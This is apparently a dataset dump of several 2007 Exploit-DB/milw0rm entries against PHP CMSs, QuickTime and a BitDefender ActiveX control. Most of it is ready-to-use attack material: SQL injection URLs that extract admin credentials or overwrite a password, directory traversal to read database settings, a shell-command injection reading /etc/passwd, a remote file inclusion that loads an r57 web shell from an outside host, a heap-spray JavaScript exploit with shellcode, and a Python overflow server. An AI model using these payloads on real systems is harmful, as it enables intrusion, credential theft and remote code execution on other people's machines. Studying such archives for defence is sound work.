QLWD/code_shield huggingface dataset:
标题: Eurologon CMS - 'files.php' Arbitrary File Download EDB-ID: 4666 CVE: 2007-6185 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Eurologon CMS Db credentials disclosure / files download

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC

The download module, not correctly check the file parameter, then using 
directory traversal we can get all the files hosted in our target web space.
---------------------------------------------------------------
Get Database Credentials

http://[target]/users/files.php?mode=download&file=../../application.php
---------------------------------------------------------------

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4666
标题: Eurologon CMS - Multiple SQL Injections EDB-ID: 4665 CVE: 2007-6164 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Eurologon CMS reviews.php/links.php/articles.php SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC

Useless..
---------------------------------------------------------------
Exploit

http://[target]/reviews.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/links.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/articles.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
---------------------------------------------------------------
Result

You will see the disclosed informations under some mysql errors like:

Can't execute query

[QUERY]
  

MySQL Error: The used SELECT statements have a different number of columns
Can't execute query

[QUERY] 

MySQL Error: The used SELECT statements have a different number of columns
Can't execute query

[QUERY] 

MySQL Error: The used SELECT statements have a different number of columns

Home >  [category_name] > [category_name] > [admin_name]:[admin_hash]
---------------------------------------------------------------

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4665
标题: Tilde CMS 4.x - 'aarstal' SQL Injection EDB-ID: 4662 CVE: 2007-6159 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

Original Here: http://www.inj3ct-it.org/exploit/tilde.txt

---------------------------------------------------------------

Tilde CMS <= v. 4.x "aarstal" parameter SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd    

---------------------------------------------------------------
PoC

D'u need an explanation?!? i don't think so :P
---------------------------------------------------------------
SQL Injection

http://[target]/[tilde_path]/index.php?id=[id]&mode=yeardetail&aarstal=%27

Little examples

Using user() and database() functions u can get some informations about the 
database...as:

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]
&mode=yeardetail&aarstal=999/**/union/**/select/**/1,2,user(),database(),5/*

Or u can get some recordes by the database like:

http://[target]/[tilde_path]/index.php?id=[id]
&mode=yeardetail&aarstal=999/**/union/**/select/**/1,2,[row_name],4,[row_name]
/**/from/**/[table_name]/*

D'u want the tables n' the rows? Find it yourself ;P
---------------------------------------------------------------
something else..

Xss Vulnerability

http://[target]/[tilde_path]/index.php?id=[id]&mode=yeardetail&aarstal=[XSS]
---------------------------------------------------------------
Full Path Disclosure

http://[target]/[tilde_path]/index.php?search=%
3C&mode=search&sider=on&tss=on&linier=on
---------------------------------------------------------------

# milw0rm.com [2007-11-26] URL: https://www.exploit-db.com/exploits/4662
标题: Apple QuickTime 7.2/7.3 - RSTP Response Universal EDB-ID: 4664 CVE: 2007-6166 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-27 漏洞利用脚本: ___             Everyone Loves
    O|0_+|O           the Hypnotoad...
     |...|
      | |
=o0O=====O0o===============================
| QuickTime RTSP Response Content-type    |
| remote stack rewrite exploit for IE 6/7 |
| by Yag Kohha (skyhole [at] gmail.com)   |
===========================================
         
Exploit tested on:
 - Windows Vista
 - Windows XP SP2
 - IE 6.0/ 7.0
 - QT 7.2/ 7.3

Exploit requirements:
 Target: Windows Vista/ XP SP2 , IE 6.0/7.0, QT 7.2/7.3
 Server: Linux, Perl, Apache web- server

Whats inside:
 index.html  - hypertext document with heap spray javascript and QT plugin call with playlist.mov (place to public web-folder)
 server  - rtsp- server emulator (run in your linux shell in background mode "./server&")
 playlist.mov  - play list with rtsp server link (edit "_server_emulator_ip" with address of rtsp-server emulator started and place to public web-folder)
Try to load index.html in your browser from remote web- server with installed exploit.

Greetz 2:
    - str0ke & milw0rm
    - shinnai
    - h07 for bug publication
    - muts & InTel for code play'ng ( but guyz, U`rs releases coded with SEH overwrite... It's so many problems
        with shellcode modification and stable exploitation on different systems...
        for whats? 
        We can overwrite EIP with buffer generation like 65535 bytes. In this release EIP -> 0x0c0c0c0c )

Fuckz 2:
    - wslabi.com (too stupid resource for selling shit)
    - ICEPACK and MPACK coderz (Fucking javascript kidd0z and code thiefz)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4664.tar.gz (11272007-qt_public.tar.gz)

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4664
标题: BitDefender Online Scanner 8 - ActiveX Heap Overflow EDB-ID: 4663 CVE: 2007-6189 2007-5775 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-27 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
http://research.eeye.com/html/advisories/published/AD20071120.html
http://secunia.com/advisories/27717/
 
 
This works not 100% - it corrupts random memory in the browser and Launches calculator with success.
 
Users have had this installed since 2006!  With no autoupdates :)
 
Google Search of BD OSCAN =  
http://www.google.com/search?hl=ar&safe=off&rls=fr&hs=P4T&q=%225D86DDB5-BDF9-441B-9E9E-D4730F4EE499%22&btnG=Search
 
Modify the values in these to help keep it stable:
'SiteAuthority' - different memory address ?? - it turns values to literal address !
while (SiteAuthority.length < 60000) - Maybe larger/smaller?
 
 
Crashes IE even if it fails
 
Tested with Forum XSS Injections + Wordpress 0day + CMS Injections
 
Nphinity  
#SAMAH/#SYR/#SHAHADA
mesra.kl.my.dal.net
 
 
 
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
 
 
 
<html>
 
 
<object classid='clsid:5D86DDB5-BDF9-441B-9E9E-D4730F4EE499' id='BD'>
</object>
 
<script language="javascript">
 
 
SCPL = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +  
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
 
MemContent = unescape("%u0606");
 
HSize = 20;
 
FreeSpace = HSize+SCPL.length
 
while (MemContent.length<FreeSpace)  
{
    MemContent+=MemContent;
}
 
FB = MemContent.substring(0, FreeSpace);
 
Mem = MemContent.substring(0, MemContent.length-FreeSpace);
 
while(Mem.length+FreeSpace<0x60000)  
{
    Mem = Mem+Mem+FB;
}
 
memory = new Array();
 
for (x=0;x<600;x++) memory[x] = Mem + SCPL;
 
var SiteAuthority = '%%';
 
while (SiteAuthority.length < 60000)  
{
    SiteAuthority+='\x30\x36\x30\x36';
}
 
BD.initx(SiteAuthority);
 
</script>
</html>

# milw0rm.com [2007-11-27] URL: https://www.exploit-db.com/exploits/4663
标题: Amber Script 1.0 - 'show_content.php?id' Local File Inclusion EDB-ID: 4652 CVE: 2007-6129 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-24 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Amber Script 1.0
*    [~] Download.....:       http://rapidshare.com/files/54891799/Amber_Script_1.0.rar (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://www.script4sale.info/demo/amber/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...:     http://[Taget]/[amber_path]/scripts/include/show_content.php?id=LFÄ° %00
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-24] URL: https://www.exploit-db.com/exploits/4652
标题: WorkingOnWeb 2.0.1400 - 'events.php' SQL Injection EDB-ID: 4653 CVE: 2007-6128 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-24 漏洞利用脚本: WorkingOnWeb 2.0.1400 Remote SQL Injection
d0rk: Powered by WorkingOnWeb 2.0.1400
bug found by ka0x - D.O.M TEAM
contact: ka0x01[!]gmail.com
we: ka0x, an0de, xarnuz, s0cratex, Hendrix
#from spain


1: <?
2: $query = "SELECT cnf_shortname, cnf_name, cnf_begindate, cnf_enddate, cnf_city, cnf_email, cnf_url, cnf_imgpath, cnf_country ".
3:          "FROM conference ".
4:          "WHERE id_conference = $HTTP_GET_VARS[idevent] ".
5:          " AND cnf_private=0";
6: $result = mysql_query($query);
7: $row = mysql_fetch_object($result);
8: ?>
     
vulnerability in line 4.
     
user and password from mysql.user :
http://localhost/events.php?idevent=-1/**/union/**/select/**/concat(user,0x203a3a20,password),null,0,0,0,0,0,0,0/**/from/**/mysql.user/*

Information:
http://localhost/events.php?idevent=-1/**/union/**/select/**/user(),2,3,4,1,1,1,1,1/*
http://localhost/events.php?idevent=-1/**/union/**/select/**/database(),2,3,4,1,1,1,1,1/*
http://localhost/events.php?idevent=-1/**/union/**/select/**/version(),2,3,4,1,1,1,1,1/*

-- 
// ka0x

# milw0rm.com [2007-11-24] URL: https://www.exploit-db.com/exploits/4653
标题: Irola My-Time 3.5 - SQL Injection EDB-ID: 4649 CVE: 2007-6217 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-23 漏洞利用脚本: Aria-Security Team
http://Aria-Security.Net
-----------------------------
Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106
Vendor: http://www.irola.com

Username/Password Fields can run SQL Queries. Therefore:
We get the Tables:

UserInfo.UserID
UserInfo.Login
UserInfo.Password
UserInfo.UserNumber
UserInfo.FirstName
UserInfo.LastName
UserInfo.TeamID
UserInfo.Address
UserInfo.City
UserInfo.ZipCode
UserInfo.CountryID
UserInfo.Phone



Useful Injection: (changes admin's passwsord to hacked)
-1' UPDATE UserInfo set Password= 'hacked' Where(UserID= '1');--

these  may help the attacker to get more info:

1' or 1=convert(int,@@version)--
1' or 1=convert(int,@@servername)--
1' or 1=convert(int,db_name())--
1' or 1=convert(int,user_name())--
1' or 1=convert(int,system_user)--

Greetz: AurA
Credits goes to Aria-Security Team
Regards,
The-0utl4w

# milw0rm.com [2007-11-23] URL: https://www.exploit-db.com/exploits/4649
标题: KB-Bestellsystem - 'kb_whois.cgi' Command Execution EDB-ID: 4647 CVE: 2007-6176 类型: WEBAPPS 平台: CGI 发布日期: 2007-11-22 漏洞利用脚本: "KB-Bestellsystem" is a domain order system written in Perl.
The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif=
http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat /etc/passwd;&tarrif=

<< Greetz Zero X >>

# milw0rm.com [2007-11-22] URL: https://www.exploit-db.com/exploits/4647
标题: Mp3 ToolBox 1.0 Beta 5 - 'skin_file' Remote File Inclusion EDB-ID: 4650 CVE: 2007-6139 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-23 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Mp3 ToolBox 1.0 beta 5
*    [~] Download.....:       http://www.radiotoolbox.com/downloads/mp3toolbox/mp3_toolbox_beta-5.zip
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       intitle:Mp3 ToolBox 1.0
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/index.php?skin_file=http://sibersavascilar.com/shelz/r57.txt?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Vulnerable......:   include($skin_file);
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-23] URL: https://www.exploit-db.com/exploits/4650
标题: Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH) EDB-ID: 4648 CVE: 2007-6166 类型: DOS 平台: MULTIPLE 发布日期: 2007-11-23 漏洞利用脚本: #!/usr/bin/python
# Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish
# Details:..
#
# (RTSP) Content-Type: [A * 995] + [B * 4096]\r\n
#
# 0x41414141  Pointer to next SEH record
# 0x42424242  SE handler
#
# ----------------------------------------------------------------
# Exception C0000005 (ACCESS_VIOLATION reading [42424242])
# ----------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
# ESP=0012F8A8: BF 37 90 7C 90 F9 12 00-F8 F0 13 00 AC F9 12 00
# EBP=0012F8C8: 78 F9 12 00 8B 37 90 7C-90 F9 12 00 F8 F0 13 00
# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#               --> N/A
# ----------------------------------------------------------------
##

from socket import *

header = (
'RTSP/1.0 200 OK\r\n'
'CSeq: 1\r\n'
'Date: 0x00 :P\r\n'
'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n'
'Content-Type: %s\r\n' # <-- overflow
'Content-Length: %d\r\n'
'\r\n')

body = (
'v=0\r\n'
'o=- 16689332712 1 IN IP4 0.0.0.0\r\n'
's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'i=1.mp3\r\n'
't=0 0\r\n'
'a=tool:ciamciaramcia\r\n'
'a=type:broadcast\r\n'
'a=control:*\r\n'
'a=range:npt=0-213.077\r\n'
'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'a=x-qt-text-inf:1.mp3\r\n'
'm=audio 0 RTP/AVP 14\r\n'
'c=IN IP4 0.0.0.0\r\n'
'a=control:track1\r\n'
)

tmp = "A" * 995
tmp += "B" * 4096
header %= (tmp, len(body))
evil = header + body

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 554))
s.listen(1)
print "[+] Listening on [RTSP] 554"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(evil)
raw_input("[+] Done, press enter to quit")
c.close()
s.close()

# EoF

# milw0rm.com [2007-11-23] URL: https://www.exploit-db.com/exploits/4648
标题: Content Injector 1.52 - 'index.php?cat' SQL Injection EDB-ID: 4645 CVE: 2007-6137 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-22 漏洞利用脚本: --==+================================================================================+==--
--==+             Content Injector V1.52 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--


AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.p3mbo.com/cinj152.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by Content Injector v1.52"
Dork2(google):  Powered by Content Injector v1.52

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It  ;) 

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/index.php?cat=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:
admin login is at /admin/

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

GREETZ: All Xmors Digital Security Team - Str0ke
Own Page: wWw.SvvaT.IR
Group Site: wWw.XmorS.CoM


--==+================================================================================+==--
--==+             Content Injector V1.52 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-22] URL: https://www.exploit-db.com/exploits/4645
标题: bcoos 1.0.10 - Local File Inclusion / SQL Injection EDB-ID: 4637 CVE: 2007-6080 2007-6079 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-20 漏洞利用脚本: ########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: Bcoos Multiple Vulnerabilities
# Vendor: http://www.bcoos.net/
# Bugs: Local File Inclusion, Sql Injection
# Vulnerable Version: bcoos 1.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
#######################################################################################
#
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : admin@bugreport.ir
######################## Bug Description ###########################


Description:
--------------------
Bcoos is a CMS coming from the cores of E-Xoops.

Vulnerabilities:
--------------------
+-->Local File Inclusion (Remote Code Execution)

Code Snippet:

/include/common.php line#89-98

// ################# :: Register Globals Compatibility :: #################
$globals_test = @ini_get('register_globals');
if ( isset($globals_test) && empty($globals_test) ) {
 // These still need some work :: Cookie|Server|Env are ok now.
 if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
 if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
 define('_GLOBALS', FALSE);
 } else {
  define('_GLOBALS', TRUE);
 }

/include/common.php line#124-129

// ################ Include page-specific lang file ################
if ( isset($xoopsOption['pagetype']) ) {
 if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
  include_once(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
  } else {
   include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');

$xoopsOption['pagetype'] is not defined by default, so it's possible for an attacker to define
it by both $_GET or $_POST methods to conduct Local file inclusion!
Furthermore bcoos doesn't properly validate the content of user supplied Uploads!
Attacker could upload php codes with .gif extension and include it using above vulnerability!

POC: http://localhost/bcoos/modules/news/?xoopsOption[pagetype]=../../images/avatar/users/[uid].gif%00

+-->Banner Module Sql Injection

Bcoos doesn't properly validate the user supplied Input in click.php that may result in Sql injection if banners modules is installed by Site admin!

Code Snippet:

/modules/banners/click.php line#4-6

if ($_GET['bid']) {
 $bid = $_GET['bid'];
 $result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid");

POC: http://localhost/bcoos/modules/banners/click.php?bid=-1 UNION SELECT pass FROM bcoos_users LIMIT 1

Credit:
--------------------
Discovered by trueend5 (trueend5 yahoo com)
AmnPardaz Security Research & Penetration Testing Group
WwW.BugReport.ir

# milw0rm.com [2007-11-20] URL: https://www.exploit-db.com/exploits/4637